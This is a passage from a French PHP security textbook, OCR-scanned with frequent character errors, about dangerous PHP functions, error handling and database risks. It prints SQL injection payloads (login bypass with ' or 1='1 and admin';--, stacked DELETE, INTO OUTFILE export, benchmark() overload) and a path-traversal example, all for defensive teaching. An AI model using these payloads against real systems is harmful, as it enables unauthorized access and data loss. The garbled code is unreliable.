active. Contrairement a extra ct(), qui peut servir a autre chose, cette fonction permet 
uniquement d' assurer la compatibilite avec les anciennes versions de PHP. 

II est recommande de ne jamais l'utiliser dans les nouvelles applications. 
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parse_str() 

parse_str( ) analyse une chaine de requete d'URL pour en extraire les variables, comme le 
fait PHP lui-meme. Non seulement les variables identifiees sont alors creees directement 
dans le code, mais elles deviennent aussi des variables globales. Observez le code suivant : 

<?php 

parse_str( 'a=l&b=2' ) ; 
print($GLOBALS['a']); 

?> 

Cet exemple va afficher 1. Comme extractO, parse_str( ) peut done servir a ecraser des 
variables avec d'autres variables. Le probleme est meme plus grave encore car 
parse_str( ) cree des variables globales, comme le montre l'exemple precedent. 

Pour neutraliser ce comportement par defaut, il faut fournir une variable en deuxieme 
argument de parse_str( ) : dans ce cas, les variables decodees de la chaine de caracteres 
seront rangees dans un tableau et ne seront pas directement injectees dans le code ou dans 
le tableau $6L0BALS. 

<?php 

parse_str( 'a=l&b=2' , $mes_vars); 
print_r($mes_vars) ; 

?> 

register_shutdown_function() 

register_shutdown_function( ) enregistre la fonction passee en premier argument pour 
execution lors de l'extinction du script. Lorsque le script se termine et apres l'envoi de 
tout le contenu au navigateur, PHP entre en mode d'extinction : il nettoie la memoire, 
detruit les objets, efface les donnees et execute les fonctions enregistrees. 

Actuellement, les fonctions enregistrees avec register_shutdown_function() ne tombent 
pas sous la coupe de la directive max_execution_time. Ainsi, il est possible d'executer 
indefiniment du code PHP avec une fonction qui a ete enregistree pour l'extinction. 

regi ster_shutdown_f uncti on ( ) est souvent utilisee par des bibliotheques externes, qui doivent 
clore proprement leurs ressources avant que PHP ne le fasse pour elle ; par exemple, 
refermer un systeme de stockage pour les sessions, un fichier XML ou toute autre operation 
pour laquelle la deconnexion doit se faire selon un protocole etabli. 

Le groupe PHP a ete prevenu de ce probleme, mais a l'heure ou nous ecrivons ce livre, 
aucune solution n'a ete implementee pour le regler. En attendant, utilisez disable_f unctions 
si vous n'avez pas l'utilite de cette fonction. 

Affichages d'information 

Les fonctions suivantes affichent des informations susceptibles d'interesser les pirates. Elles 
en revelent beaucoup sur votre application web et son fonctionnement. Elles permettront 
aux pirates d'aller plus loin, sans compromettre directement le systeme. II est bon de 
surveiller leur utilisation. 
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phpinfo() 

La celebre fonction phpinfo( ) n'est pas un probleme de securite en soi, mais elle affiche 
tous les details de la configuration du site. Inutile de dire que c'est une mine d'or pour un 
pirate qui met la main dessus. II peut completement adapter son attaque en fonction de la 
configuration. 

II est done recommande de surveiller et reduire autant que possible l'utilisation de 
phpinfo( ) dans votre site. Generalement, un seul phpinfo( ) est suffisant sur un serveur ; il 
doit etre place a la disposition des administrateurs du site et non pas dans une page publi- 
que. Une protection par session ou bien par identification HTTP est raisonnable pour 
proteger cette page : ne pas la publier est meme encore mieux. 

Pensez a controler si votre site n'a pas de phpi nf o ( ) public en verifiant directement sur les 
moteurs de recherche qui passent le plus souvent sur votre site. Par exemple, en recher- 
chant sur Google : 

Site :www. monsite.com phpinfo " Zend engine " 

vous aurez une bonne idee de ce que Googlebot a trouve sur votre site. Testez rapidement 
avec les moteurs les plus utilises sur votre site pour etre tranquille. 

Sachez qu'en 2006, nexen.net a publie des statistiques de configuration PHP, basees 
sur un echantillon de 11 000 phpinfoO recenses dans les moteurs de recherche : 
http://www.nexen.net/articles/dossier/statistiques_phpinfos.php et http://www.nexen.net/ 
articles/dossier/statistiques_phpinfos_:_2eme_partie.php. Le votre y est peut-etre... 

Messages d'erreur 

Avec MySQL, cet afhehage est le role des fonctions mysql i_error( ) et mysql i_errno( ) . 
De nombreuses bibliotheques proposent un acces aux messages d'erreur via une fonction 
specifique. 

mysql_error( ) retourne le message d'erreur indique par le serveur. S'il n'y a pas eu 
d'erreur, une chaine vide est afhehee. En pratique, la fonction mysql_error( ) est utilisee 
comme ceci : 

$res = mysql_query($requete) ; 
echo mysql_error( ) ; 

Durant le developpement, cette technique permet d'avoir un retour rapide sur un message 
d'erreur potentiel qui apparaitrait durant l'execution de la requete. Cependant, en production, 
ce message d'erreur, s'il survient, sera affiche directement aux utilisateurs. 

Contrairement aux messages d'erreur de PHP, mysql_error( ) ne sera pas masque par la 
deactivation de la directive display_errors ! Cela sera encore plus dangereux si la 
requete SQL est elle -meme affichee, en plus du message d'erreur. 

mysql_error( ) et mysql_errno( ) sont utiles si elles sont enregistrees dans un fichier de log, 
pour traitement ulterieur, ou bien envoyees par courrier electronique: bref, lorsqu' elles 
sont envoyees a un responsable de 1' application et non pas a l'utilisateur du site web. 
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D'une maniere generale, les conseils consacres a cette fonction peuvent etre adaptes a 
toutes les fonctions qui retournent les numeros d'erreur et les messages d'erreur d'une 
bibliotheque externe : curl_error( ), imap_errors( ), pg_l ast_error( ), etc. 

php_logo_guid() 

php_l ogo_guid( ) affiche simplement un logo PHP et, lorsque c'est le premier avril, un oeuf 
de Paques, ou easter egg en anglais, c'est-a-dire une image surprise a la place du logo PHP : 
c'est une blague inoffensive du groupe de developpement. Cette image peut indiquer la 
version de PHP, meme si ce n'est pas tres precis comme solution, ou que certaines 
institutions ont remplace cette image par d'autres. 



Figure 6-1 

Surprise lors de I'utilisation 
de php_logo_guid 




Preferez I'utilisation d'un logo statique a celle de cette fonction. 
assert() 

Comme eval ( ), assert( ) execute du code PHP passe sous forme de chaine, mais contrai- 
rement a cette premiere, assert( ) peut etre utile dans la programmation quotidienne. 

Lorsque vous etes en production, assurez-vous que assert. active estbien desactivee : de 
cette maniere, assert( ) sera rendue automatiquement inoperante sur le serveur. 

Idealement, vous pourriez purement et simplement supprimer ces fonctions entre la phase 
de developpement et la phase de production. Si vous disposez d'un systeme de mise en 
production, ajoutez done un script qui analyse le code PHP publie et supprime toutes les 
occurrences de la fonction assert( ) : cela se fait par une simple commande de remplacement, 
c'est encore plus sur et cela permet de gagner en rapidite d'execution. 

Interfaces externes 

Les fonctions suivantes etablissent les communications entre PHP et des systeme externes, 
tels que le systeme d' exploitation, le reseau, le serveur web, les bases de donnees ou encore 
le serveur de courrier electronique. 

Connexion aux bases de donnees 

Avec MySQL, cette connexion est assuree par les fonctions mysql i_connect( ), 
mysql_connect( ), mysql_pconnect( ) et $mysql ->connect( ). Si vous utilisez une autre base de 
donnees, il existe un autre jeu de fonctions pour ouvrir l'acces aux donnees : c'est ces 
fonctions qu'il faut surveiller. 
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mysql i_connect( ) assure la connexion au serveur MySQL. Elle permet d'acceder au 
serveur local, mais dispose aussi des technologies necessaires pour se connecter a distance. 
II est done important de bien verifier les valeurs qui sont utilisees avec cette fonction. 

Notamment, demandez-vous s'il est possible de detourner le nom d'hote de la connexion 
pour etablir cette derniere vers un site externe. Une fois la connexion etablie avec le serveur, 
il ne sera plus possible de faire la difference entre un serveur valide et un serveur distant. 

Placez les informations de connexion dans une constante, de maniere a etre certain que 
les valeurs sont bien les memes a travers tout le script et ne risquent pas d'etre alterees. 

D'une maniere generale, les conseils consacres a cette fonction peuvent etre adaptes a 
toutes les fonctions de connexion, comme imap_open( ), pg_connect( ), sql ite_open( ), 
mysql_connect( ), etc. 

Execution de commandes SQL 

Avec MySQL, les commandes SQL sont prises en charge par mysql i_query( ) , 
mysql_query( ), mysql i_mul ti_query ( ) et mysql_execute( ). Si vous utilisez une autre base de 
donnees, il faudra surveiller les fonctions qui envoient les commandes au serveur. 

mysql i_query( ) est la fonction qui execute une requete. Lorsqu'elle est appelee, la requete 
SQL est transmise au serveur pour y etre traitee. C'est done un point de passage oblige 
pour transmettre des commandes au serveur SQL. Avant de l'utiliser, il convient done 
que s' assurer que la commande a ete bien construite. 

Dans le cas de MySQL, il y a plusieurs techniques qui servent a neutraliser les valeurs 
manipulees, de maniere a ce qu'elles ne puissent pas perturber la commande SQL : varia- 
bles serveur, commandes preparees, procedures stockees (reportez-vous a la section sur 
les injections SQL). 

D'une maniere generale, les conseils consacres a cette fonction peuvent etre adaptes a 
toutes les fonctions d'execution de commandes qui passent par une chaine de caracteres 
pour construire la commande, comme setrawcookie( ), pg_connect( ), sql ite_query( ), etc. 

mail() 

mai 1 ( ) est bien sur la fonction par laquelle votre serveur devient un serveur de spam. II est 
done particulierement important de la surveiller. 

II faut notamment eviter les injections d'en-tetes et les utilisations abusives du formulaire. 

Pour les injections d'en-tete, etudiez comment les variables provenant de l'utilisateur 
sont utilisees dans la partie en-tete du courrier electronique. II faut eviter les retours a la 
ligne avec les caracteres \r et \n, qui introduisent de nouveaux en-tetes, ainsi que les 
virgules, qui permettent d'envoyer plusieurs informations en meme temps. Laissez bien 
plusieurs lignes vides entre les en-tetes et le corps du message. 

Plutot que d'envoyer des messages au nom de votre visiteur, une bonne pratique consiste 
a envoyer des messages depuis votre site web et au nom de votre site. L'utilisateur final 
recoit alors un message qui dit, en substance : « un ami, M. XXX, a pense que cette 
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information vous interesserait ». De cette maniere, l'utilisateur final reconnait son ami, 
ainsi que votre site, plutot que de croire que le message provient d'une autre source. 

Pensez a aj outer des en-tetes de courrier complementaires, qui vous permettront de 
remonter a la source du spam : IP de l'utilisateur, URL du formulaire appelant, cookies, 
user agent, date de la transaction, utilisation d'un proxy, etc. Toutes ces informations 
seront precieuses pour savoir comment votre serveur a ete detourne de sa mission origi- 
nale. Pour en savoir plus, reportez-vous a la section sur le detournement de sites web 
pour en faire des serveurs de spam. 

Appels systeme 

Les appels systeme sont effectues par six fonctions et un operateur : system( ), passthru( ), 
exec( ), shel l_exec( ), popen( ), proc_open( ) et les guillemets obliques ". 

Ces six fonctions transmettent directement des chaines de caracteres au systeme 
d' exploitation pour execution. Avec PHP, faire appel a un programme externe est rare, 
mais ce n'est pas exceptionnel. Ces fonctions repondent a un besoin clair, mais, dans tous 
les cas, leur utilisation doit etre surveillee de tres pres. II faut notamment proteger les 
arguments qui leur sont transmis a l'aide de des fonctions de protection escapeshel 1 cmd( ) 
et escapeshel 1 arg( ). 

L' utilisation de programmes externes a PHP est consommateur de ressources. II faut 
noter que ces consommations ne sont pas comptabilises par PHP, ni en temps processeur, 
ni en memoire. Comme pour evalO, demandez-vous si vous ne pourriez pas faire la 
meme chose en PHP. Dans la pratique, tachez de les eviter. 

Si vous n'en avez pas besoin, pensez a les desactiver a l'aide de la directive di sabl e_f uncti ons. 
Acces aux fichiers distants 

De nombreuses fonctions PHP sont capables d'aller chercher des fichiers a distance, sans 
etre specifiquement des fonctions de reseau : fopenO, getimagesize( ), fileO, 
f il e_get_contents( ) et f i 1 e_exi sts( ). 

Ces cinq fonctions ont la capacite d'acceder a des contenus distants, des que la directive 
allow_url_fopen est activee. Durant la lecture des contenus distants, PHP attend que les 
donnees arrivent, puis il reprend son execution. Si le serveur distant est lent ou meme 
inaccessible, il faudra attendre que PHP depasse les delais d'attente maximale pour aban- 
donner et reprendre son execution. Cela peut occuper le serveur durant longtemps et 
meme si cela ne consomme pas de ressources en termes de memoire ou de processeur, 
cela represente un processus complet en attente : durant ce temps, il ne sert pas d'autres 
clients. Comme le nombre de ces processus est limite, cela peut rapidement conduire a 
un deni de service. 

II n'est pas possible de s'assurer qu'une ressource est disponible avant de tenter d'y acceder. 
Cependant, vous pouvez multiplier les tests avant de lancer la lecture : verifier que l'URL 
est bien structuree avec parse_url ( ), que le nom de domaine existe bien avec checkdnsrr( ). 
Cela devrait vous permettre d'ecarter beaucoup de cas problematiques. 
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Dans cet exercice, la maxime a adopter est : « echouez le plus tot possible », c'est-a-dire 
que tout test qui vous permet d'annuler la lecture le plus tot possible doit etre fait avant 
de lancer le test final : la lecture elle-meme. 

Ces cinq fonctions sont aussi a surveiller quand elles utilisent des fichiers locaux. II est 
important de bien savoir quels fichiers seront ouverts. Pour cela, utilisez la fonction 
realpathO avec le fichier et son chemin d'acces avant l'ouverture : cela vous donne le 
chemin reel qui sera utilise et vous permet de detecter des acces aux dossiers interdits. 

Par exemple, si vous construisez dynamiquement un chemin d'acces a un fichier et que 
vous obtenez : 

/home/. /web/. ././. ./etc/passwd.txt 

alors realpathO va vous retourner : 

| /etc/passwd.txt 

Cela va aussi resoudre les liens symboliques et tous les problemes d'encodages, a l'aide 
de votre systeme. 

Acces aux variables d'environnement 

ini_set( ), ini_get( ), getenvO, putenv( ) : ces quatre fonctions servent a lire ou modifier 
les directives de configuration de PHP et les variables d'environnement du serveur. Leur 
utilisation n'est pas synonyme de vulnerability, mais c'est un point d'entree pour modi- 
fier la configuration du serveur et en perturber le fonctionnement. Par exemple, avec 
i ni_set( ), on peut lever la limite de consommation de memoire ou de processeur de PHP. 
II convient done de surveiller les valeurs utilisees par ces fonctions. 

Gestion des erreurs 

Les messages d'erreur communiquent des informations sur l'etat de l'application et les 
problemes qu'elle rencontre. Ces messages sont clairement destines aux developpeurs et 
non pas aux pirates. II faut savoir les maitriser, au lieu de les laisser s'afficher par defaut 
dans la page. 

Exceptions ou messages traditionnels ? 

Que vous utilisiez les messages d'erreur traditionnels ou les exceptions, les aspects secu- 
rite sont les memes. Durant l'execution d'un script, les messages d'erreur sont affiches 
directement dans le script et les exceptions qui ne sont pas interceptees remontent 
jusqu'au script principal, ou elles sont finalement affichees dans le resultat : evidemment, 
les exceptions qui sont interceptees, le sont proprement. 

Affichage des erreurs par defaut 

La directive la plus importante est display_errors, qui affiche ou non les messages 
d'erreur dans le resultat du script. La meilleure chose a faire est de l'activer sur les serveurs 
de test et de la desactiver sur les serveurs de production. 
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II est possible de desactiver l'affichage des erreurs depuis le script lui-meme, a l'aide de 
la fonction 1ni_set() : 

ini_set( 'display_errors' , 'off ) ; 

Cette technique est effectivement pratique, surtout si vous publiez une application web 
qui sera executee sur une grande variete de configurations. 

En revanche, il faut savoir que 1n1_set(), en tant que fonction native, ne sera executee 
que lorsque PHP aura commence a executer le script lui-meme. Or, il se passe beaucoup 
de choses entre 1' initialisation du script et le debut de son execution ; durant tout ce 
temps, display_errors est toujours activee. Notamment, s'il y a des erreurs fatales, 
comme une erreur d' analyse, ou bien la violation d'une autre directive, cela affichera 
malgre tout cette erreur. 

Dans tous les cas, c'est deja mieux que rien. 



Intercepter les erreurs 

Par defaut, les messages sont envoyes dans le log d'erreur du serveur web et c'est comme 
cela que vous trouverez les messages d'erreur PHP dans le fichier errorjog de votre 
serveur web. Vous pouvez aussi specifier la directive log pour diriger les messages 
d'erreur vers un autre fichier. 

II est recommande de surveiller le fichier de log regulierement, car il devrait contenir les 
erreurs produites par votre developpement, mais aussi les tentatives d'attaque dont votre 
serveur est victime. 

Par exemple, si une erreur revient regulierement, ou si un fichier, meme inexistant sur 
votre application, est utilise regulierement dans une URL, alors c'est que des pirates 
tentent de reconnaitre et de compromettre une application web sur votre serveur. Prenez 
alors les informations issues du log, comme le nom du fichier demande ou les arguments 
qui sont proposes et faites une recherche sur votre moteur de recherche favori. Si ce 
probleme est lie a une vulnerabilite qui est souvent exploitee vous obtiendrez des infor- 
mations complementaires. 

Recemment, le fichier /pm/lib.inc.php est monte assez haut dans le classement des 
pages 404 sur le site de nexen.net. II n'y a pas de page qui porte ce nom dans le site et 
aucun lien qui ne pointe sur cette page. En cherchant sur le Web, nous avons decouvert 
que 1' application pMachine avait fait l'objet d'une alerte de vulnerabilite. Nous ne la 
connaissions pas, et si nous l'avions utilisee, il aurait fallu la proteger ou la mettre a jour. 



Audit grace au niveau d'erreur 

En plus de configurer les fichiers de log et l'affichage a l'ecran des messages d'erreur, on 
peut aussi configurer PHP pour qu'il signale ou pas certaines erreurs, en fonction de leur 
niveau. II y a actuellement 13 niveaux d'erreur differents, mais seulement5 qui nous 
interessent au niveau de la programmation PHP. 
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• E_ERROR represente les erreurs fatales, celles qui sont suffisamment graves pour inter- 
rompre PHP, comme un manque de memoire ou de temps d' execution. A conserver 
active. 

• E_WARNING represente des erreurs non fatales, qui surviennent durant l'execution du 
script. C'est le cas des fichiers qui n'ont pas pu etre ouverts, ou d'une ressource reseau 
qui n'a pas pu etre rejointe, comme un serveur de base de donnees. Ces erreurs sont 
souvent transitoires et difficiles a identifier. A conserver active. 

• E_PARSE est une erreur d'analyse du script : le script ne demarre meme pas. C'est typi- 
quement une erreur de developpement, comme une coquille dans la syntaxe, ou un 
nom de fonction qui n'existe pas. Ces erreurs ne doivent jamais se produire en production. 
A conserver active. 

• E_N0TICE signale une alerte benigne, comme l'utilisation d'un index qui n'existe pas, ou 
1' incrementation d'une variable qui n'a pas ete initialisee. Ces alertes sont precieuses, 
car elles identifient souvent des vulnerabilites. Les variables non initialisees sont en 
effet un moyen classique pour detourner le fonctionnement d'un script. De plus, les 
alertes de type E_N0TICE sont souvent transitoires ou contextuelles. II est done important 
de les corriger des qu' elles apparaissent. 

• E_STRICT signale des erreurs de compatibilite entre les versions. Cela permet a PHP de 
proposer des conseils pour ameliorer l'assistance technique des applications en fonction 
de la version et des fonctionnalites disponibles. 

• Enfin, E_ALL affiche tous les niveaux d'erreur combines. 

II est recommande de toujours travailler avec le niveau d'erreur E_ALL, car les alertes 
signalent generalement un point d' entree pour une vulnerability, ou bien une situation 
qui n'est pas bien geree par 1' application. Idealement, votre fichier de log d'erreur devrait 
etre vide, avec toutes les situations gerees. Au pire, il doit etre aussi petit que possible. 
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Risques lies 

aux bases de donnees 



De tres nombreuses applications web utilisent aujourd'hui une base de donnees pour 
stacker de nombreuses informations vitales. II est evidemment necessaire que ces 
dernieres restent confidentielles et que personne ne puisse les modifier intempestivement. 

Le chapitre 7 vous exposera les risques lies a la manipulation des donnees et vous 
donnera les moyens de lutter contre les injections SQL. 

Le chapitre 8 sera plus particulierement consacre a MySQL et insistera sur les regies 
d'acces, la gestion des droits et la configuration de ce SGBD. 
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Vulnerabilites 
des bases de donnees 



Les applications web stockent generalement leurs donnees dans des bases car ces dernie- 
res facilitent le traitement des informations et leur stockage. En 2000, indiquer qu'une 
application web utilisait telle ou telle base de donnees etait un argument promotionnel. 
Ce n'est plus le cas aujourd'hui ; le recours a une base de donnees pour une application 
web va de soi. Les bases de donnees assurent le stockage permanent des informations et 
la liaison avec de nombreux autres systemes grace a une interface standard. Par ailleurs, 
elles sont compatibles avec le langage SQL qui permet de les manipuler. Elles represented 
done un element critique dans la securite de l'application et des donnees en general. 

Vue d'ensemble des risques associes aux bases de donnees 

MySQL est surement le systeme de gestion de bases de donnees (SGBD) le plus souvent 
associe a PHP pour les applications web, mais ce n'est pas le seul : PostGreSQL, Oracle, 
Microsoft SQL server, IBM DB2 sont d'autres choix possibles et techniquement valables. 
Toutes ces bases presentent des caracteres communs, notamment le langage SQL : cela 
les expose a des problemes similaires de securite. 

Un langage universe! : SQL 

Les bases de donnees servent a stacker et traiter les donnees avant de les publier. Avec leur 
diffusion, un langage s'est impose, grace a sa norme : SQL (Simple Query Language). 

Comme ce langage est maintenant universel ou quasiment, il faut savoir qu'une astuce de 
programmation ou un detournement de requete valable sur un serveur a de bonnes chances 
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de reussir sur un autre. La meme chose s' applique aux applications web : si une application 
utilise MySQL, on peut facilement utiliser une meme vulnerability d'une plate -forme a 
1' autre, que ce soit PHP, ASP, JSP, Perl ou n'importe quelle autre technologic Quand une 
nouvelle injection SQL est decouverte dans une application web, il est toujours recom- 
mande de l'etudier pour voir si elle risque de contourner les protections de votre code. 
D'ailleurs, les techniques de protection seront probablement les memes. La pollinisation 
croisee fonctionne aussi pour la securite. 

Bien sur, SQL dispose de nombreuses variantes et chaque editeur s'efforce de demontrer 
qu'il est le seul a respecter les standards de la profession. En fait, aucun d'entre eux n'est 
totalement compatible avec les standards, ni avec les autres serveurs. Chacun apporte 
sa touche personnalisee qui le differencie des autres. La portability d'un serveur SQL a 
1' autre n'est pas encore parfaite. 

En termes de securite, cela permet d'ecarter rapidement tous les problemes qui sont 
specifiques a un serveur. 

Risques dans les manipulations de donnees 

Les risques que courent vos donnees dans une base sont lies a des manipulations SQL. 
Nous verrons un peu plus loin le concept d' injection qui permet de modifier dynamiquement 
les requetes SQL. Presentons d'abord les risques que courent vos requetes. 

Contournement de clause WHERE 

Cette manipulation consiste a modifier une clause WHERE. Comme il n'est pas frequent de 
pouvoir supprimer toute une clause WHERE, le contournement se contente de la neutraliser 
en injectant une condition constante : toujours vraie ou toujours fausse. 

SELECT * FROM table WHERE 1 ; 

SELECT * FROM table WHERE 1 — = 1 ; # utilisation de commentaires 

SELECT * FROM table WHERE colonne = colonne OR 1 = 'constante' ; 

SELECT * FROM table WHERE colonne = colonne OR 1 = 'constante' ; 

Une fois la clause WHERE rendue sterile, la requete donne acces a toutes les donnees. 
Modifications sans limite 

Application directe du risque precedent, les modifications sans limite sont un des pires 
cauchemars pour le responsable des donnees : la plus fameuse etant bien sur la destruction 
totale de donnees, avec la commande DELETE : 

DELETE FROM table WHERE 1 ; 

Toutes les donnees de la table sont detruites, sans moyen de revenir en arriere, ou d'annuler. 
Sans sauvegarde, point de salut. 

Toutefois, le probleme est aussi delicat avec les commandes UPDATE sans limite. Imaginez 
une table d'utilisateurs ; en contournant la clause WHERE, on peut forcer tous les mots de 
passe a la meme valeur : 
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# utilisation normale d'UPDATE 

UPDATE user SET password=MD5(C0NCAT( ' secret ' , 'nouveau')) WHERE login = 'utilisateur' ; 

# utilisation detournee d'UPDATE 

UPDATE user SET password=MD5(C0NCAT( 'secret' , 'nouveau' )) WHERE login = login OR 1 = "l'j 

Sans la protection de la clause WHERE, c'est toute la table qui est modifiee, y compris le 
compte administrateur de 1' application. Consequence : aucun utilisateur ne peut plus se 
connecter au serveur avec son mot de passe. Pour corriger le probleme, il faudra absolument 
faire appel a un administrateur, puis a une sauvegarde. De plus, le pirate peut facilement 
s'identirier a la place de n'importe quel utilisateur, dont il aura recupere le nom avant 
l'attaque. 

Insertions indesirables 

Les insertions de donnees engendrent leur lot de desagrements. Par exemple, dans 
P instruction qui suit : 

INSERT INTO user VALUES ( 'pi rate' ,md5( 'secret ')) . ( 'x' ,md5( ' val ide ' ) ) ; 

et a Paide de P injection suivante : 

pi rate' ,md5( 'secret ')) , Cx 

le pirate peut injecter une ligne complete dans la table. A son insu, 1' application fait plus 
qu'inserer une ligne : elle en insere deux, Tune d'entre elles contenant des valeurs dont 
elle n'est pas maitre. 

Executions multiples 

Le serveur SQL execute les commandes les unes apres les autres. Dans certaines condi- 
tions, il est possible d'executer plusieurs requetes a l'aide d'une seule commande. II y a 
deux solutions pour cela : 

• Les sous-requetes utilisent dans une requete principale le resultat d' une requete secondaire, 
qui exploite elle aussi des donnees de la table courante ou tierce. Les sous-requetes 
permettent uniquement la lecture des donnees, pas leur manipulation avec UPDATE, 
DELETE OU INSERT : 

SELECT * FROM table WHERE id = (select benchmarkdOOOOOOOOO, md5(l))) ; 

• Certaines interfaces avec MySQL autorisent Pexecution de plusieurs requetes dans 
une seule demande d'execution. Par exemple, Pinterface mysqli propose la fonction 
mysql i_multi_query( ), qui permet d'executer plusieurs requetes d'un seul coup. 

<?php 

$ 1 ink = mysql i_connect( "1 ocal host" , "utilisateur", "mot_de_passe" , "base"); 

/* Verification de la connexion */ 
if (mysql i_connect_errno( ) ) { 

printf ("Connexion echouee : %s\n", mysql i_connect_error( )) ; 

exit( ) ; 

} 
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$query = "SELECT CURRENT_USER( ) ; " ; 

$query .= "SELECT Nom FROM Ville ORDER BY ID LIMIT 20, 5"; 

/* Execution d'une requete multiple */ 

if (mysql i_multi_query($l ink, $query)) { 

do { 

/* Stockage du premier resultat */ 

if ($result = mysqli_store_result($link)) { 
while ($row = mysql i_fetch_row($resul t) ) ( 
printf("%s\n", $row[0]); 

} 

mysql i_free_result($result) ; 

} 

/* Affichage d'une separation */ 

if (mysqli_more_results($link)) { 
printft" \n"); 

} 

} while (mysqli_next_result($link)); 

} 

/* Fermeture de la connexion */ 

mysql i_cl ose($l ink) ; 

?> 

L'interet ici est de pouvoir donner plusieurs commandes au serveur MySQL et de 
commencer a traiter les resultats des qu'ils arrivent dans PHP. 

Du point de vue de la securite, ces fonctions sont dangereuses, car leur potentiel destructif 
est bien superieur a celui d'une injection dans une requete simple. En effet, une injection 
qui arriverait a placer une autre requete a la suite de la requete initiale donnerait toute 
latitude au pirate pour executer toutes les requetes qu'il souhaite, contrairement aux 
injections classiques qui doivent composer avec le cadre d'une requete deja en place : 

<?php 

$GET['Nom'] = '"; DELETE FROM Villes; #"; 

$query = "SELECT Nom FROM Ville WHERE Nom = "•.$_GET['Nom']."' ORDER BY ID LIMIT 20, 5"; 

/* Execution d'une requete multiple */ 

if (mysql i_multi_query($l ink, $query)) { 

// Traitement des resultats 

} 

?> 

Dans l'exemple ci-dessus, l'injection SQL termine proprement la requete initiale a l'aide 
d'un point- virgule, puis en initie une nouvelle. Cette deuxieme requete est alors totale- 
ment libre, y compris au niveau de la commande. Le residu de la requete initiale est 
cache dans un commentaire, ou bien laisse a 1' abandon : le serveur annoncera une erreur 
a 1' application, mais il sera trop tard. 
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C'est pour cette raison que les fonctions traditionnelles n'autorisent que l'execution de la 
premiere requete et jamais des requetes suivantes. Cela evite des injections SQL bien 
plus desastreuses. 

Surcharge du serveur 

Elle consiste a modifier une requete pour qu'elle engendre une charge de travail impor- 
tante et inutile au serveur : c'est une forme de deni de service. Cela se fait via des 
requetes imbriquees, des jointures sans conditions, des unions ou encore la fonction 
benchmark ) de MySQL : 

SELECT * FROM table CROSS JOIN table tZ ON 1 ; # auto-jointure 

SELECT * FROM table UNION SELECT * FROM grande_tabl e UNION SELECT * FROM autre_table ; 
SELECT * FROM table WHERE id = (SELECT benchmark 1000000000 , md5(l))) ; 

Une fois une telle requete lancee, le serveur utilise beaucoup de ressources pour la traiter 
et, par ricochet, ralentit le traitement des autres requetes, voire des autres systemes qui 
partagent le serveur. Ce qui finit par penaliser l'ensemble des utilisateurs. 

Exportations cachees 

Parmi les risques plus diffrciles a identifier figurent les exportations de donnees qui 
consistent a extraire les donnees de leur depot habituel, et a les placer dans un autre 
receptacle, public, ou plus facile a lire. Elles peuvent prendre trois voies : 

• Lapplication web elle-meme, grace a un contournement de clause WHERE : si l'application 
est capable de gerer et d'affrcher de longues listes de donnees, elle ne sera pas surprise 
de devoir afficher toute la table. 

• Les fichiers externes, ecrits directement depuis le serveur SQL. 
SELECT * FROM table INTO 0UTFILE ' /tmp/outf i 1 e . txt ' ; 

Le fichier est ensuite recupere par un systeme complementaire, ou bien place dans la 
racine web, ce qui le rend directement telechargeable. 

• Les autres tables, ou les tables temporaires : les donnees sont recopiees d'une table a 
1' autre, et si la deuxieme table est moins bien securisee, elles seront rapidement 
exportee du server. 

INSERT INTO autre_table SELECT * FROM premi ere_tabl e ; 
CREATE table_publique SELECT * FROM table_privee; 

Les exportations sont diffrciles a identifier, d'une part parce qu'elles perturbent peu le 
fonctionnement du systeme dans son ensemble, d' autre part parce que le pirate laisse peu 
de traces. Dans certains domaines, comme la banque ou la medecine, la simple lecture de 
donnees confidentielles est critique pour les affaires. C'est done un risque important que 
peut courir une application en ligne, qui est directement a l'interface avec les utilisateurs 
et les pirates. 
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Stockage permanent 

La capacite de stockage permanent des serveurs SQL est un dernier risque a prendre en 
compte. Contrairement a un script PHP qui se termine a la fin d'une requete HTTP, le 
serveur SQL assure le stockage des donnees entre deux transactions. 

Ainsi, des donnees corrompues inserees dans une base de donnees seront a nouveau 
disponibles et publiees ulterieurement : parfois, cela survient longtemps apres l'insertion 
dans la base ; le plus souvent rapidement apres. Par exemple, en stockant une XSS dans 
une base de donnees, cette derniere pourra etre publiee, ou bien servie au webmestre 
lorsqu'il tentera de la moderer. 

La permanence du stockage devient un probleme quand elle se transforme en un vecteur 
de propagation de l'attaque. II faut bien comprendre qu'une vulnerability d'une applica- 
tion web peut affecter l'une des technologies utilisees, mais pas les autres. 



Les injections SQL font partie des vulnerabilites les plus courantes dans les applications 
web. Si les donnees en provenance de l'internaute ne sont pas protegees avant d'etre inse- 
rees dans la commande SQL, il devient possible de modifier considerablement le 
comportement de la requete. 

Exemples d'injections SQL 

Les injections SQL prennent naissance dans la construction dynamique de la requete, a 
l'aide d'une chaine de caracteres : dans cette chaine, des donnees de differentes natures sont 
melangees avant d'etre presentees a la base de donnees pour qu'elle traite la commande. 

Exemple d' introduction 

Prenons un exemple d'injection. Imaginez un formulaire d' identification : il s'agit d'une 
simple page web, qui demande un nom d'utilisateur et le mot de passe associe. Ces infor- 
mations sont ensuite transmises a la base de donnees pour etre comparees avec les listes 
d' informations des membres du site. 

Le formulaire fournit deux variables, appelees nom et passe. Nous supposons qu'elles sont 
utilisees directement dans la requete SQL, sans protection, comme ceci : 




Injections SQL 



<?php 

$requete = "SELECT count(*) FROM uti 1 i sateurs 



WHERE login = ■ ,, .$_P0ST['Nom■]. , " AND 
password= ' " . $_P0ST[ ' passe ' ] ; 



// reste du script d'identification 

?> 
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Pour realiser 1'injection SQL, il suffit de modifier l'une ou l'autre des variables d'entree 
du script pour que la requete change de comportement. Par exemple, nous pouvons utili- 
ser la variable passe comme ceci : 

$_P0ST[' passe'] = " ' or 1 = '1 " ; 

La requete SQL devient alors : 

<?php 

Srequete = "SELECT COUNK*) FROM utilisateurs 
WHERE login = 'utilisateur' AND 
password=' ' or 1 = '1' "; 

?> 

La condition qui utilise le mot de passe devient toujours vraie, puisque la deuxieme 
partie de la condition OR est toujours vraie. Par consequent, il suffit que la premiere partie 
de la requete soit vraie pour que la clause WHERE reussisse a tous les coups. II n'y a plus 
besoin de chercher un mot de passe, mais un nom d'utilisateur. Ces derniers sont genera- 
lement faciles a trouver ou a deviner. 

Ainsi, pour agrandir encore un peu la faille, nous pouvons aussi utiliser la premiere partie 
de la requete : 

| $_P0ST['Nom] = " admin';-- " ; 

qui devient alors : 

Srequete = "SELECT countt*) from utilisateurs 
WHERE login = 'admin'; -- ' AND 
password=' ' " ) ; 

Non seulement nous avons pu nous identifier, mais nous sommes meme reconnus comme 
l'administrateur du systeme et nous avons pu passer sans fournir aucun mot de passe. 

